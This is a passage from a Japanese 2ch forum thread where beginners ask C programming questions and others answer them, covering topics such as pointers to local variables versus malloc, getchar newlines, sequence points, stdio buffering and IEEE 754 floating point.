0302デフォルトの名無しさんNGNG
>>295
Win32 なら GetModuleFileName() で第一引数に NULL

4.4BSD 系列だと、スタートアップルーチンで _progname に設定してるから、
自分のソースに

extern char *_progname;

とでも書いておいて _progname でアクセス。他の環境でも kvm や procfs を
介して取得できる可能性は高いけど、汎用的な方法はないと思う。
0303デフォルトの名無しさんNGNG
>>300
/usr/src/以下は

.
..
pgsql/ ←最近自分でアップグレードしたばっかり

です。ちなみに環境はTurboLinuxServer6.1です。
でもお陰で標準的にはソースが/usr/src/に残されているという事を知りました。
ありがとうございました。
0304デフォルトの名無しさんNGNG
今考えたら
.
..
は/usr/local/src/でした。
今は確認できる環境にいないので
後で/usr/src/を確認しておきたいと思います。
0305デフォルトの名無しさんNGNG
#include <stdio.h>

int
main(void)
{
  int c;

  printf("Hello world!\n");
  while (1) {
    if ((c = getchar()) == 'a') {
      break;
    }
    printf("c = %c\n", c);
  }
  printf("exit\n");

  return EXIT_SUCCESS;
}

こういうプログラムを作りました。キーボードから a を入力したら
exit と表示して終了して欲しいプログラムです。これをコンパイル
して実行してみたところ、

b
c = b
c =

c
c = c
c =

のように、なぜか getchar() を入力する前に printf が実行される
ように見えます。これを

b
c = b
c
c = c

のような出力を得るようにするにはどうすればよいでしょうか。
こちらの環境は、FreeBSD 4.3-RELEASE で gcc 2.95.3 です。
0306デフォルトの名無しさんNGNG
>>304
タボリヌだと /usr/src/ には linux とか redhat くらいしかないかも。
赤帽系 Linux はプログラマのための UNIX じゃないから、コマンド類の
ソースは標準インストールではついてこないんじゃないかな。
0307デフォルトの名無しさんNGNG
>>306
なるほどなるほど、プログラマのためのUNIXじゃないというのは納得です。
ではプログラマの為のLINUXでお勧めはどのディストリビューションはなんですか?
お願いします。
0308デフォルトの名無しさんNGNG
>>305
改行文字を読み込んで、それをそのまま出力しているせいなので、
  if (c == '\n') continue;
を printf の前に加えればいい。
0309デフォルトの名無しさんNGNG
>>307
ソースコードを一式そろえたいなら Linux よりも FreeBSD, NetBSD, OpenBSD の
方が楽。
0310名無しさん@XEmacsNGNG
argv[0]は必ずしも実行ファイルの正しいファイル名とは限らない。
たとえばログインシェルのargv[0]は-shとかになっている。
procfsが有効になってるLinuxなら

char exename[MAXPATHLEN];
int n = readlink("/proc/self/exe", exename, sizeof exename);
if (n < 0) goto error;
exename[n] = 0;
printf("path=%s\n", exename);
0311デフォルトの名無しさんNGNG
>>309
ftpで普段は探る事もないFreeBSDのフォルダを探ったら
お陰さまで簡単に各種ソースコードを見つける事ができました。
しかし、贅沢を言えばやはり欲しいのはLinuxのソースコードです。
どなたかLinuxのソースコードが置いてあるftpサイトを教えて頂けないでしょうか?
お願いします。
0312デフォルトの名無しさんNGNG
「Linuxのコマンド」なるものは存在しない。OK?
「Linuxのディストリビューションのコマンド」なら
配布元のサイトに逝けばあるかも。
0313デフォルトの名無しさんNGNG
Linuxだったら、適当なディストリビューションのFTPに潜って
srpmなりなんなり取ってきて展開すればいいと思うが。
Slackware系なら単なるtar.gzで転がってるけど。
0314デフォルトの名無しさんNGNG
>>308
なるほど。つまり改行はスキップするとよいわけですね。勉強に
なりました。
0315デフォルトの名無しさんNGNG
C初心者なんですが、とりあえずファイル読み込むライブラリ作ろうとしています。
FILE渡すと、そのファイルの中身全部読み込んでメモリに保持して、
**linesを返すようなライブラリです。そのソースのファイル名が
filereader.cだとします。

**linesがさしている行の配列はfilereader.cのファイルスコープの
変数として定義されています。ファイルを読み込んで**linesを返す
関数がchar **read(FILE *fin)だとします。

んで、main()の方で2つのファイルを同じときに読み込みたくなった
時にハタと困ったわけです。

char **lines1, **lines2;
lines1 = read(file1);
lines2 = read(file2);

と、してしまうとlines1が指している行の配列がlines2のものに
なってしまうのです。これを干渉し会わないようにするには
ライブラリをどのように作るのがよいのでしょうか?
0316デフォルトの名無しさんNGNG
>>315
で、linesの実体は誰が確保してるんだ?
0317デフォルトの名無しさんNGNG
>>316
いや、filereader.cの中で確保する予定ですが。。。というか、
まだ考えている段階なのでコードは書いていないのです。
すいません。
0318デフォルトの名無しさんNGNG
>>315
> **linesがさしている行の配列はfilereader.cのファイルスコープの
> 変数として定義されています。
この変数をメモリ確保するようにし、別インスタンスにする
また、char **ではなくリスト構造にするという手もある
「リスト構造」は検索エンジンで聞いてくれ。
0319デフォルトの名無しさんNGNG
申し訳ございません、よく理解できないのでもう少しおつきあい
願えないでしょうか。

>この変数をメモリ確保するようにし、別インスタンスにする

このインスタンスとは「クラスのインスタンス」という意味ですか?
だとすると、Cなのでそれができないのです。

>また、char **ではなくリスト構造にするという手もある

リスト構造とはリンクリストのことですか?
構造体にしたところでなにが変わるのかがわかりません。
0320デフォルトの名無しさんNGNG
>>319
プログラミング言語 C を読み直した方が良いと思うが。

>>この変数をメモリ確保するようにし、別インスタンスにする
たぶん malloc() で確保しろといいたかったに違いない。

> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
分かれ。
0321デフォルトの名無しさんNGNG
>>320
>たぶん malloc() で確保しろといいたかったに違いない。

いや、ファイルの内容はメモリに保持するのがもともとの予定だったので
malloc(), realloc()でメモリの許す限りの大きさを許すのがもともとの
予定です。しかし、このことが質問とどのように関係しているのかが
わかりません。

>分かれ。

すいません。教えてください。

(つうか、こいつも俺と同じく厨房?)
0322デフォルトの名無しさんNGNG
>>321
なんで関数内で malloc() した領域を返すのに、

> char **lines1, **lines2;
> lines1 = read(file1);
> lines2 = read(file2);
>
> と、してしまうとlines1が指している行の配列がlines2のものに
> なってしまうのです。

となるわけ? なんか根本的に勘違いしてる気がするが。手元に動いているコードが
あるなら、とりあえず出してみなよ。

> (つうか、こいつも俺と同じく厨房?)
喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。
0323デフォルトの名無しさんNGNG
>>319
> このインスタンスとは「クラスのインスタンス」という意味ですか?
> だとすると、Cなのでそれができないのです。
スマン、用語がC++だった。
インスタンス=実体とでも思ってくれ、

> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
行を管理する実体を確保する必要がなくなる。

また、配列の場合あらかじめ行数がわかっている場合は問題ないが、
全部読んでみないと行数がわからない場合、面倒
0324デフォルトの名無しさんNGNG
んーと、Cはじめたばっかりなので、間違っているかもしれませんが、
filereader.cは次のようになる予定です。

filereader.c:

#include <stdio.h>

static char lines[][] = NULL;
extern char **read(FILE *f);

char **read(FILE *f)
{
  /* ファイルから読み込んで、linesに格納。この際メモリの許す限り
    ファイルのサイズを許すためその都度malloc(), realloc()でlines
    にメモリを割り当てる。*/

  return lines;
}
0325デフォルトの名無しさんNGNG
>喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。
すいません。失礼しました。
0326デフォルトの名無しさんNGNG
すいません、で、main.cの中のmain()からread()を呼び出す予定
なのです。

main.c:

int main(void)
{
  ...
  lines1 = read(file1);
  lines2 = read(file2);
  ...
}
0327322NGNG
>>324
> static char lines[][] = NULL;
静的に確保した配列と malloc() で確保したメモリ領域の区別がついてないと思われ。

#include <stdio.h>
#include <stdlib.h>

#define MAXLINELEN 1024

struct list
{
  struct list *l_prev;
  struct list *l_next;
  char l_line[MAXLINELEN];
};

struct list *
read_file(FILE *fp)
{
  struct list *first, *prev, *cur;
  char buf[MAXLINELEN];

  first = malloc(sizeof(*prev));
  first->l_prev = first->l_next = NULL;

  for (prev = first; fgets(buf, sizeof(buf), fp) != NULL; prev = cur) {
    cur = malloc(sizeof(*cur));
    cur->l_prev = prev;
    cur->l_prev->l_next = cur;
    cur->l_next = NULL;
    strcpy(cur->l_line, buf);
  }

  return (first);
}

int
main(void)
{
  FILE *fp;
  struct list *first, *p;

  fp = fopen("read.c", "r");
  first= read_file(fp);
  fclose(fp);
  for (p = first->l_next; p != NULL; p = p->l_next)
    fputs(p->l_line, stdout);
  return (0);
}
0328デフォルトの名無しさんNGNG
>>324
reallocでのメモリ拡張は大量のメモリコピーが伴う場合があるから
あまり頻繁に大きなサイズで呼び出さないほうが良いと思う。
素直にリンクリストでデータ要素をちまちま追加してくほうがいいよ。

どうしてもやりたいなら割り当てる単位を大きくしてなるべくreallocを
呼び出す回数を少なくする工夫が要ると思う。

ちなみに
Javaの可変配列Vectorの実装ではサイズが2^N乗を超えたときにrealloc相当の
処理をするようになってた。
これだとサイズが線形に増えたときlog2N回しかreallocしないかわりに最悪
メモリ使用効率が半分まで落ちることがある。
0329デフォルトの名無しさんNGNG
>>327
コードまでありがとうございます。参考にさせていただきます。
ここで、疑問なのですが、read_fileはローカル変数firstを
返していますよね。ここにもしかすると私の大きな勘違いが
あるのかもしれませんが、firstの指す実体はread_file()を
抜けた後でも残っているのでしょうか?

なぜそんな疑問を持ったのかというと(すいません、長くなるの
で投稿を分けます。)
0330デフォルトの名無しさんNGNG
このコードは動くのに:

#include <stdio.h>

int main(void)
{
  char **p;
  char *array[3];
  char *s, *t, *u;
  int i;

  s = "foo";
  t = "bar";
  u = "foobar";

  array[0] = s;
  array[1] = t;
  array[2] = u;

  p = array;

  for (i = 0; i < 3; i++) {
    printf("(%d): '%s'\n", i, *p++);
  }

  return(0);
}
0331デフォルトの名無しさんNGNG
このコードはSegmentation Faultを起こしてしまうからです。

#include <stdio.h>

char **foo(void);

int main(void)
{
  char **p;
  int i;

  p = foo();

  for (i = 0; i < 3; i++) {
    printf("(%d): '%s'\n", i, *p++);
  }

  return(0);
}


char **foo(void)
{
  char **p;
  char *s, *t, *u;
  char *array[3];

  s = "foo";
  t = "bar";
  u = "foobar";

  array[0] = s;
  array[1] = t;
  array[2] = u;

  p = array;

  return p;
}
0332名無しさんNGNG
そりゃあんさん、ローカル変数なんやから・・・
0333デフォルトの名無しさんNGNG
>>329

>>331のコードだと、p の指す実体はローカル変数の array だ。
だから foo() から戻った時点で次元の狭間へ消えてしまう。

>>327のなら、p の指す先はmallocで確保したバッファだ。
だから、自分で free() しない限りはずっと残ってる。
0334デフォルトの名無しさんNGNG
>>329
やっぱり「プログラミング言語C」を読み直した方が良いと思うが。。。
read_file() の先頭にあるように

first = malloc(sizeof(*prev));

first は malloc() で確保した領域へのポインタを返している。malloc()
で確保した領域の寿命は変数スコープに縛られないから問題なし。
問題となるのは、自動変数のアドレスを返す場合のみ。

次の例は NG

char *foo()
{
  char c;
  return (&c);
}

次の例は OK

char *foo()
{
  char *p = malloc(sizeof(char));
  return (p);
}

char *foo()
{
  static char c;
  return (&c);
}
0335デフォルトの名無しさんNGNG
>>333
ああ、なるほど。ようやくみなさんがmalloc()使え、とおっしゃることが
理解できました。どうもありがとうございました!!感謝します。
0336デフォルトの名無しさんNGNG
>>329
> firstの指す実体はread_file()を
> 抜けた後でも残っているのでしょうか?
mallocで確保した実体はfreeを呼び出したり、
プログラムが終了しない限り残ります。
ローカル変数は関数を抜けると自動的に破棄されます。

>>331の例の場合、returnしたポインタがローカルに実体を持っているので
関数を抜けたときに実体が破棄され、破棄された実体を参照しようとしたため
Segmentation Faultが発生します。

ポインタを扱う場合、実体がどこにあるかを強く意識してください。
0337デフォルトの名無しさんNGNG
int x=3,y=5;

ASSERT((++x*y+x)==24);

これはカンキョウイゾンでしょうか?
0338デフォルトの名無しさんNGNG
>>337
たぶん ++x と x を一つの式で書いて良いのかと聞きたいのだと思うが、それ以前の
問題として

- assert() ではなく ASSERT() 使ってる時点で環境依存
- ASSERT() の中で x をインクリメントしているので、デバッグビルドとリリースビルド
 で動作が変わってしまう

だよ。
0339デフォルトの名無しさんNGNG
     川|川川  川
    ‖川 | | | ー ー||        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    川川 | |ー□--□l      <  「C言語ならオレに聞け!」っと・・・
    川川| | \ J/||        \________
    川川‖  | ロ|/| カタカタカタ
    川川|‖\|__|l|l  _____
   /川川川__/川川  |  | ̄ ̄\ \
   |  川川|  |/川l__,|  |    | ̄ ̄|
   |  \_|__|_|、__|  |    |__|
   |  \____|つ   |__|__/ /
   |      |  | | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕
0340デフォルトの名無しさんNGNG
>>338
ASSERTはクセでした。

if(...);
にかえてくだされ。
0341デフォルトの名無しさんNGNG
>>338
処理系依存といえばセーフだったのかな
0342デフォルトの名無しさんNGNG
>>341
副作用があるから、処理系依存ってことでいいですか?

確か ++x * x みたいのはだめですよね?
0343デフォルトの名無しさんNGNG
>>342
しかしこの場合は++x*y+xなので、優先順位から言えば問題ないのでは?

if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
0344sageNGNG
誰か突っ込んでやれよ>>343
0345デフォルトの名無しさんNGNG
>>343
ヒント: sequence point
0346デフォルトの名無しさんNGNG
>>342
処理系依存じゃなくて、未定義。
0347デフォルトの名無しさんNGNG
>>343
> ++x*y+xなので、優先順位から言えば問題ないのでは?
問題大あり

> if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
オッケー

違いが分からなければC-FAQの3章を分かるまで読め。
糞レスしてるよりは有意義な時間を過ごせる
0348デフォルトの名無しさんNGNG
---------------------------------------------------------------------------

あなた達には分からないでしょうが、Rubyは素晴らしい言語です。
オブジェクト指向スクリプト言語として他のスクリプト言語を圧倒する性能と美しい言語仕様を持っています。
例えば、SchemeやSmallTalkなどは比較的美しい言語だと言われていますが、後発である優位さでRubyは
さらなる美しさと実用性を備えています。
もちろんPerlやPythonなど問題外です。
日本語との親和性ではRubyしか選択肢がないでしょう。

LinuxのディストリビューションもRubyの採用例が増えてきています。
1年後には全てのディストリビューションがRubyを標準採用するでしょう。
Rubyは未来のスクリプト言語なのです。

長くなりましたが、コピペではありません。
賛同していただける方はRubyの事を分かっていただけない人に出会ったら、
この発言をコピペしていただければ幸いです。
0349デフォルトの名無しさんNGNG
実は最近C言語を勉強し始めたのですが、
C言語でのNULLと0と'\0'の違いがわかりません。

NULLは、((void *)0)と定義されていましたが、
どういうことでしょうか?

実際プログラムで、((void *)0)を表示させると
私の環境では(null)と表示されました。

また、((void *)0)を((char *)0)とすると落ちました。

この違いもわからずさっぱりです。


すいませんが、教えてください。
0350デフォルトの名無しさんNGNG
>>349
0 と NULL は型が違うやね。

NULL はポインタが「何も指していない」ことを示すときに使う。

'\0' と 0 は両方整数型だが、文字列の終端を表す NUL 文字を表すときに
は前者、数値の 0 を表すときには後者を使うのが一般的。

あとは C FAQ 読みましょう。
0351デフォルトの名無しさんNGNG
LIBCD.lib(wincrt0.obj) : error LNK2001: 外部シンボル "_WinMain@16" は未解決です
Debug/test.exe : fatal error LNK1120: 外部参照 1 が未解決です。

雑魚質問。
Borland C++ Compiler 5.5ではコンパイルできたけど、VC++6.0では上記のエラーが。
このエラー見ただけで理由分かるもんなの?
0352デフォルトの名無しさんNGNG
/link /subsystem:console
0353sageNGNG
wWinMainCRTStartup
なわけないか。

BCCって俺よくしらんのだけど、
wchar_tをどのくらいサポートしてんのかな。
0354デフォルトの名無しさんNGNG
プログラミング言語Cアンサーブックの中で広範囲に使われている
getline(char line[], int maxline)って間違ってない?
Cのバイブルといわれる本にこんな間違いがあっていいのでしょうか?

int getline(char s[], int lim)
{
  int c, i, j;

  j = 0;

  for(i = 0; (c = getchar()) != EOF && c != '\n'; ++i)
    if(i < lim -2){
      s[j] = c;
      ++j;
    }

  if(c == '\n'){
    s[j] = c;
    ++j;
    ++i;
  }
  s[j] = '\0';
  return i;
}

retun されるiが'\0'を含んだり含まなかったりしてない?
0355デフォルトの名無しさんNGNG
>>354
返値は、s[] に読み込んだ文字数ではなくて
標準入力から取り出した文字数という仕様ではないのか。

そうでないと i と j を分けてる意味ねーし。
0356デフォルトの名無しさんNGNG
というか常に含んでないだろ。
どういう場合に'\0'を含んでるって言うんだ?
それと、アンサーブック はバイブルじゃないだろ…。
0357デフォルトの名無しさんNGNG
常に含んでるよ。みんなどうしたの?
0358デフォルトの名無しさんNGNG
                         
  ∧ ∧      ┌─────────
  ミ ´ー`ミ   < Rubyはクソです。ゴミ箱逝きです。 いじょーヨ
   \ <      └──/|────
    \.\        ミ ミ
      \""""""""""/
       ∪∪""∪∪
この発言をコピペしていただければ幸いです。
0359デフォルトの名無しさんNGNG
ほんとにC現gおやる気はあるんですが、入門書などを見ても、basicを経験してる事を前提としていて
あまりわかりませんでした。
みんなは何からプログラム言語をはじめましたか?
0360デフォルトの名無しさんNGNG
386アセンブラからですが、何か?
0361デフォルトの名無しさんNGNG
N88-BASICからですが何か?
0362デフォルトの名無しさんNGNG
>359
>>入門書などを見ても、basicを経験してる事を前提としていて

何も知らない初心者向けのCの解説本もたくさんあるぞ。
もっと大きい本屋で探せ。
0363デフォルトの名無しさんNGNG
int *ma(){
int i;
return &i;
}
これはありですか?
ローカル変数のメモリは関数終了時に終わる気がするのですが・・・
0364デフォルトの名無しさんNGNG
当然無しだと思われます
0365デフォルトの名無しさんNGNG
コンパイルエラーでしょうか?
0366デフォルトの名無しさんNGNG
>>365
gccなら-Wallしてれば警告してくれそう。
0367デフォルトの名無しさんNGNG
どうでもいいけど、俺はK&R読む前に他の本をかなり目を通したぞ。
独習C、C言語アルゴリズム+徹底入門(いい本だった)、
cc&lint、C言語プログラミング(H.M.ダイテル+P.J.ダイテル)。
その後でK&R読んだ。

あと、FreeUNIXにはソースがついてるので、libcの中の
関数のソース読んだり。んで、コンピュータアーキテクチャ
っていう本読んだり。大変だったが、面白いぞ。
他の言語とは違ってマシンを制御してるって実感が
もてる。
0368デフォルトの名無しさんNGNG
visualC++で一般保護法違反がでてPCが固まったんですけどなんででしょうか?
0369デフォルトの名無しさんNGNG
>>368
それだけでは何がなんだかわからん。
1.自分の書いたプログラム実行中に固まった。→ソースコード見せろ。
2.プログラム実行以外の操作で固まった。  →固まる直前に行った操作を明記して、
                       VC++スレで質問しなおせ。
0370MONTENGNG
プログラムを書いてコンパイルしようとしたら、Out of memory
とエラーメッセージが出てしまいました。マニュアルにものって
ないので困ってますが、単純にメモリー不足ということですよね。
どなたか詳しく教えてください。
0371デフォルトの名無しさんNGNG
プログラムの実行中に白い横長のダイアログが出てきて
閉じるを押したら、
一般保護法違反ですという警告が出てきて
詳細を見て閉じたら
画面が青い画面になってとまりました
0372デフォルトの名無しさんNGNG
>>370
検索で出てくるよ
求めている答えかはわからんが
http://www.microsoft.com/japan/support/kb/articles/J053/1/87.htm
とか(ちがうとおもうけど)
0373デフォルトの名無しさんNGNG
read,write等の低水準入出力関数とprintf等の高水準入出力関数を併用していけないのはどうしてですか?
またflush関数の役割がいまいちわかりません。
お願いします。
0374デフォルトの名無しさんNGNG
>>373
readとprintfはいっしょに使ってもいいじゃん
flushすると書き込むんだよ。closeしてもいいけど。
0375デフォルトの名無しさんNGNG
>>374
C++において
coutとprintfを併用した時のように
挙動が変になる事が多々ありませんか?
0376デフォルトの名無しさんNGNG
read はバッファリングしないけど
printf はライブラリレベルでバッファリングしてます。
なので、いっしょに使うと printf 側がびっくりします。

ライブラリレベルでのバッファをフラッシュするのが fflush。
flush は知らないです。

printf と併用するなら、fread/fwrite あたりが吉。
0377デフォルトの名無しさんNGNG
>>376
レスありがとうございます。
write,readというのはカーネルレベルでもバッファリングしないのでしょうか?
あと、printfがびっくりする(笑 というのは具体的になにが行われるのでしょうか?
よろしくお願いします。
0378デフォルトの名無しさんNGNG
カーネルレベルでは、ブロックデバイスに対しての
I/Oはバッファリングされますけれど、キャラクタデバイスは
バッファリングされません。

[printf がびっくりする話]
printf("hehe") バッファにためとく
 ↓
write("hoho") 出力されちゃう
 ↓
fflush/fclose いまごろ "hehe" が出力される
 ↓
順番ちゃうやん

以上例えばの話
実際はもっとワケワカなことが起こるかも
0379デフォルトの名無しさんNGNG
>>378
解りやすくありがとうございました。
とても勉強になりました。
0380デフォルトの名無しさんNGNG
>>378
しつこくてすいません。最後に質問させてもらいます。
そこら辺の事を勉強するにはアセンブリの勉強をするのが得策でしょうか?
0381デフォルトの名無しさんNGNG
普通にUNIXやCの勉強をすれば良いと思います。
アセンブラがわかることは良いことですが、
この話にはあまり関係ないでしょう。
(...て、UNIXで良かったのかしら?)
0382デフォルトの名無しさんNGNG
>>370
>>370
関数が長すぎるとコンパイルできないコンパイラもあるって
聞いたことあるけど、それならマニュアルに書いてあるだろうし…。
いずれにせよコンパイル時にメモリが足りないといってきてるんだから、
ソースコードを適当に分割してコンパイルしてみてはどうだろうか?
0383デフォルトの名無しさんNGNG
>>381
度々ありがとうございました。

ちなみに私はLINUX房です。
0384デフォルトの名無しさんNGNG
>>371
一般保護違反って言うだけでは何が起こったか特定できないので、
そのソースコードを見ないと、誰も何も答えられないと思うよ。
0385デフォルトの名無しさんNGNG
>>380
ライブラリのソースコードを読むのがいいと思いますが。

*BSD なら /usr/src/lib/libc
VC6 なら C:\Program Files\Microsoft Visual Studio\VC98\CRT\SRC

あたりにインストールされてるでしょ。VC はデフォルトだとインストール
されないかも。
0386デフォルトの名無しさんNGNG
>>384
では一般的にどういう時に起こるのでしょう?
0387デフォルトの名無しさんNGNG
>>386
一般保護違反が出るケースは、

1 ポインタの使い方を間違った
2 メモリが腐ってる
3 電源容量が足りない

とか、いろいろあるけど。
0388デフォルトの名無しさんNGNG
C言語で、動画のように動くものを作りたいのですが、
どう考えていけばいいのでしょうか?
できれば、そういうことについて載っている本につい
ても教えてください。

OSは、Linuxを使ってやりたいと思っています。
0389デフォルトの名無しさんNGNG
もうちょい具体的に書け.
ムービーの再生? 2D/3Dゲーム?
0390388NGNG
>>389
ぜんぜん大層なものではなく、科学技術計算で
リアルタイムな動きを追ってみたいのですが、
できれば、何かのライブラリを使うよりも、自分でいじりたいです。
これを通して、少し言語の勉強も兼ねられたらと思ってます。
0391デフォルトの名無しさんNGNG
配列A[100]の全てに文字 'a'を代入してくれる関数ってありますか?
forループでまわせばいいのですが、Basicにそんな関数があった気がした
のでもしやと思い質問しました。
0392デフォルトの名無しさんNGNG
>>391
無いと思うし、あっても使わないでしょ。
0393デフォルトの名無しさんNGNG
>391
 memset を調べてごらん

でも、CとかDelphiはコンパイラだから
その程度の事はさっさと作ってしまってもいいんだよ
0394デフォルトの名無しさんNGNG
>>392
普通、使うでしょ。
0395デフォルトの名無しさんNGNG
2進数に関して知りたいのです。整数がビット列としてどのよう
に格納されているのかは、よく書籍などにも書いてあるので理解
したのですが、少数は2進数ではどのように表現するのでしょ
う?たとえば、0.1や0.2は2進数ではどのように表現したらよい
のでしょうか?また、float型やdouble型の文字列は、ビット列
としてどのように格納されているのでしょうか?

float型やdouble型に対してビット演算を施そうとすると、コン
パイラに怒られてしまうのですが、たとえば、"float f = 0.1"
のfのビット列を表示させるプログラムはどのようにして作成し
たらよいでしょうか?

初心者ですいません。教えてください。
0396395NGNG
少数 -> 小数
の間違いです。すいません。
0397デフォルトの名無しさんNGNG
>>395
> 少数は2進数ではどのように表現するのでしょう?
http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html

> ビット列を表示させるプログラムはどのようにして作成し
> たらよいでしょうか?
URLに示したprmem()を参考にしろ。
ちなみにprmem()関数内のjは定義されているが使われていない。

prmem()関数は1文字ずつ16進に変換しているが、
16進変換部分を2進変換をする関数に置き換えてやればいい。
1文字を2進数に変換する関数は宿題とする。
0398デフォルトの名無しさんNGNG
>>395
小数の2進表記
0.5 -> 0.1
0.25 -> 0.01
0.75 -> 0.11
0.125 -> 0.001

浮動小数点の形式は何種類かある
まずはIEEE754を調べてみな
0399名無しさんNGNG
ある関数の逆ラプラス変換を行うC言語の関数とかありますか?
ぜひお教えください。
0400395NGNG
>>397

>http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html

>URLに示したprmem()を参考にしろ。

ありがとうございます。大変参考になりました。

>1文字を2進数に変換する関数は宿題とする。

解いてみました。添削していただけると幸いです。

static char *ctobit(char *p, const unsigned char ch)
{
unsigned char tester;
char *q;

q = p;
tester = 1;
tester <<= 8 - 1;

while (tester != 0) {
if ((ch&tester) == 0) {
*q++ = '0';
}
else {
*q++ = '1';
}
tester >>= 1;
}

*q = '\0';

return p;
}

>>398
>まずはIEEE754を調べてみな

これは、どこで入手できるのでしょうか?
0401デフォルトの名無しさんNGNG
>>395 Float や double 型は既にポインタが示されてるし検索すればいいので

固定少数点による少数表現については 「好きなように」 が答えです
たとえば 0.1を 整数の1に対応づけて 1.0を整数の10と対応づけてもいいですしね
0402デフォルトの名無しさんNGNG
>>400 名前が示されているのだから検索してみようよ
0403デフォルトの名無しさんNGNG
>399 標準ではない

パッケージがもしかするとどこかにあるかもしれないけど俺は知らない。

しかし、
それは数式処理という範疇だからMathematica / REDUCE / mathcad などの守備範囲に入る
素直にそっちを使った方がいいぞ
0404名無しさんNGNG
>>403 さん
逆ラプラス変換ですが、Mapleでできますか?
0405395NGNG
>>402
IEEE754がなにかの規格だということはわかったのですが、
その規格はどうやったら入手できるのかはわかりませんでした。。
Webでは入手できないもので、書店で注文すべきものなのでしょうか?
0406デフォルトの名無しさんNGNG
>>400
> 解いてみました。添削していただけると幸いです。
良いと思います。

>if ((ch&tester) == 0) {
>  *q++ = '0';
>}
>else {
>  *q++ = '1';
>}
は
*q++ = ((ch&tester) == 0 ? '0' : '1';
とも書けますが、趣味の問題でしょう。
0407デフォルトの名無しさんNGNG
GCCで日本語を使う方法ご存知の方がいたら教えていただけませんか?
文字列に全角カタカナの「ソ」とかがあるとコンパイラとおらないので
困っています。
0408デフォルトの名無しさんNGNG
>>407
日本語 EUC を使う。
0409デフォルトの名無しさんNGNG
>>405
http://www.mathworks.com/access/helpdesk/jhelp/toolbox/fixpoint/c3_bev12.shtml
0410395NGNG
>>409
ありがとうございます。メモリ上にどのように格納されているか
理解することができました。

もうすこし質問させてください。NaNとはなんでしょうか?バイアス
をかける理由がよくわからないのですが、NaNとInfinityを予約する
ためと考えてよいでしょうか?NaNやInfinityはどのように表現
されているのでしょうか?

初心者ですいません。よろしくお願いします。
0411デフォルトの名無しさんNGNG
>>410
NaN はエラーの検出を先送りにするために使われます。

0/0 とか ∞ - ∞ のような意味のない計算を行ったときに、あとで「計算途中で
エラーが発生した」ことをプログラマに伝えるために NaN という特殊な数値を設
定しておきます。

IEEE 754 だと NaN は

単精度
 指数 255
 仮数 !0

倍精度
 指数 2047
 仮数 !0

です。指数はそのままで仮数を 0 にすると ∞。

詳しくは、その筋の書籍を読んでください。数値計算の専門書ではありませんが、
パターソン&ヘネシーの「コンピュータの構成と設計」あたりは解説も丁寧で、学
習に適しているかと。
0412デフォルトの名無しさんNGNG
c言語で乱数やりたいんだけど、0〜32767の範囲になっちゃいます。
javaとかみたいに、0.0<=乱数<1.0って無理なんですか?
32767/32768>0.99996…なので純粋な乱数にはならないし。
ご教授願います。
0413デフォルトの名無しさんNGNG
>>408
なるほど!やってみたらできました。ありがとうございました。
0414デフォルトの名無しさんNGNG
>412
乱数を複数用意して、15bitづつシフトアップしたものをOR
%で微調整可。
0415デフォルトの名無しさんNGNG
void *aaa;
int ccc;

aaa = &ccc;
aaa += 0x100;

とかってしてはいけないんでしょうか?
VC++だとvoid*型のやつの演算はできないってエラーになります。
これって一般的なC/C++言語の規格なの?
というのを疑問に思っているのですが....。
0416デフォルトの名無しさんNGNG
>>415
当然ダメですが。

次のコードをコンパイルしてアセンブラ出力見てみ。

char *cp;
int *np;
++cp;
++np;
0417デフォルトの名無しさんNGNG
別にアセンブラ出力でなくとも

printf("%p\n", cp);
cp++;
printf("%p\n", cp);
printf("%p\n", np);
np++;
printf("%p\n", np);
でもいいと思うが...
0418415NGNG
あー、ありがとーございます。
なんか全くエラーでないコンパイラもあるんですよね。
ので疑問に思っただけです。
0419デフォルトの名無しさんNGNG
>>418
そのコンパイラで、
void *p = 0;
p++;
としたら、pはいくつになるのか?
0420デフォルトの名無しさんNGNG
void型へのポインタってどういう意味なんですか?

それより、ソースの中で\ってどういう意味ですか?
0421412NGNG
>>414
それもそうなんですが、非常に不効率
0422デフォルトの名無しさんNGNG
>>420
さすがに、それは「プログラミング言語C」読め、で終わりだろ。
0423デフォルトの名無しさんNGNG
趣味でC言語をやっている者です。
初級は脱したと思うのですが、さらなるスキルアップのためにやるべき事は何でしょうか?
正直、中級上級者用の本は存在しませんよね?
0424デフォルトの名無しさんNGNG
>>423
K&R 読んだ?
アルゴリズムの本読んだ?
0425デフォルトの名無しさんNGNG
>>423
他人のソースコードを積極的に読み、
暇があれば何か新しいコードを書く。
0426デフォルトの名無しさんNGNG
>>424
読みました。

>>425
お勧めのソースコードありますか?
0427デフォルトの名無しさんNGNG
>>426
FreeBSDのカーネルのソース

間違ってもMozilla6のソースは読むな
0428デフォルトの名無しさんNGNG
>>426
K&Rの練習問題をアンサーブックなしで全て解いてみろ。
# ちなみに俺は挫折した
0429デフォルトの名無しさんNGNG
教えて下さい。




long n = 0;
double t = timeGetTime();
while( true ) printf( "%f", n++ / ( t - timeGetTime() ) );




何が変?
もしかして 「 t == timeGetTime() 」?
0430デフォルトの名無しさんNGNG
>>429
そのコードに何を期待しているのか不明。強いて言えばお前の頭が変。
0431デフォルトの名無しさんNGNG
>>429 while(true)で無限ループしてるね!
君の頭のなかもぐるぐるまわっているのかな?
0432デフォルトの名無しさんNGNG
まず何がしたいのかを書き出そう? 要求記述

例えば1ループに要する時間を測りたいならば。

double startTime=timeGetTime();/*おいこんな関数あったっけ?*/
long n;
for(n=0;.......;n++)
{
......
}
double endTime=timeGetTime();
printf("%lf",(endTime-startTime)/(double)n);

とすればいいやね!
double は %lf だったっけ?
0433デフォルトの名無しさんNGNG
printf()では、doubleは%fよ。
scanf()では%lfなので注意。
0434429NGNG
解決しました。キャストの問題でした。
while( true ) printf( "%f", n++ / ( t - timeGetTime() ) );
↓
while( true ) printf( "%f", n++ / ( double )( t - timeGetTime() ) );

timeGetTime() は time.h にあるはずです。
